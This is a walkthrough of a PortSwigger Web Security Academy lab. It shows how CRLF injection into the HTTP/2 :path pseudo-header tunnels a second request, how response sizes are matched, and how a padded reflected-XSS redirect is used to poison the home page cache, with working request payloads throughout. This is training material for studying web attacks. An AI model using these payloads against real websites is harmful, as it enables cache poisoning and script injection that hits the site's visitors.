Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type HTTP/2 Request Tunnelling — :path Header Injection, Web Cache Poisoning
Difficulty Expert
Objective Poison the cache so the victim's browser executes alert(1) on the home page
Note Victim visits the home page every 15 seconds. Cache TTL is 30 seconds.

Web Cache Poisoning via HTTP/2 Request Tunnelling

Intercepting a request to / — the response has Cache-Control: max-age=30 and age incrementing by one each second:

Screenshot

The front-end doesn't reuse connections to the back-end, so classic smuggling is out. But HTTP/2 headers aren't consistently sanitized — that's the tunnelling entry point.

Trying the Inspector header name CRLF trick from the previous lab:

Name: \r\nTeto: teto\r\n\r\nGET /miku HTTP/1.1\r\nHost: ...\r\nMiku
Value: miku
Screenshot

Empty body in response — this server sanitizes header names. Different approach needed.

HTTP/2 uses pseudo-headers (:method, :path, :authority) that the front-end uses to reconstruct the HTTP/1 request line during downgrade. If :path isn't sanitized, injecting a newline into it can split the request line and inject additional headers or a second request.

Setting :path to:

/ HTTP/1.1
Teto:

The reconstructed HTTP/1 request becomes GET / HTTP/1.1\r\nTeto: HTTP/2 — the injected newline splits the path and creates a new header.

Screenshot

200 OK. Testing with /miku to force a 404:

/miku HTTP/1.1
Teto:
Screenshot

404 Not Found — the injection is working. Adding a full tunnelled request in the :path value and switching the outer method to HEAD:

/ HTTP/1.1
Teto: teto

GET /miku HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Screenshot

Proxy error — the front-end over-read and pulled in the tunnelled response, but the byte counts don't align. Checking page sizes with curl:

curl -s --head https://0a20003c035fba94804536590037007d.web-security-academy.net/
# content-length: 8674

curl -s --head https://0a20003c035fba94804536590037007d.web-security-academy.net/miku
# content-length: 11

/miku returns only 11 bytes but the outer HEAD expects 8674. We need the tunnelled response to be larger than the outer HEAD Content-Length, not smaller — otherwise the front-end stops reading before we see anything.

Checking post page sizes:

curl -s --head 'https://.../post?postId=2'
# content-length: 7260

curl -s --head 'https://.../post?postId=1'
# content-length: 8187

/post?postId=2 (7260 bytes) as the outer HEAD, tunnelling GET /post?postId=1 (8187 bytes) — the tunnelled response is larger, so the front-end over-reads and the extra bytes appear at the end of what we receive:

:path → /post?postId=2 HTTP/1.1
Teto: teto

GET /post?postId=1 HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Screenshot
HTTP/2 200 OK
Content-Length: 7260

HTTP/1.1 200 OK
Content-Length: 8187

The tunnelled response body appears nested inside the outer response, and it gets cached for 30 seconds. The mechanism works — now to make it execute JavaScript.

The server reflects path parameters in redirect Location headers. Testing:

GET /resources/labheader/js?<script>alert(0)</script> HTTP/2
Screenshot
HTTP/2 302 Found
Location: /resources/labheader/js/?<script>alert(0)</script>

The script tag is reflected unencoded in the Location header. If this redirect response gets nested inside the outer text/html response, the browser inherits the HTML content-type and executes the script.

Putting the XSS path in the tunnelled request:

/post?postId=2 HTTP/1.1
Teto: teto

GET /resources/labheader/js?<script>alert(0)</script> HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Screenshot

Server Error: Received only 174 of expected 7260 bytes of data — the redirect response is only 174 bytes, far smaller than the 7260 we need. The front-end stops reading early and errors.

To pad the tunnelled response, we add arbitrary characters to the injected path. The server reflects them back in the Location header, inflating the response size. Padding to at least 7260 bytes:

/post?postId=2 HTTP/1.1
Teto: teto

GET /resources/labheader/js?<script>alert(0)</script>TETOTETOTETOTETOTETOTETO(...) HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Screenshot

200 OK. Reloading the browser:

Screenshot
Screenshot

alert(0) fires — but only on /post?postId=2, not on the root. We need the poisoned cache entry on / itself.

The root has Content-Length: 8674. The tunnelled response (the padded redirect) needs to exceed that. Updating :path to target / as the outer HEAD and padding to 8674+ bytes:

/ HTTP/1.1
Teto: teto

GET /resources/labheader/js?<script>alert(1)</script>TETO(...8674+ bytes of padding) HTTP/1.1
Host: 0a20003c035fba94804536590037007d.web-security-academy.net
Teto: teto
Screenshot

Reloading / within the 30-second cache window — alert(1) fires.

Screenshot

The victim hits the poisoned cache entry and the lab solves x.x

Resources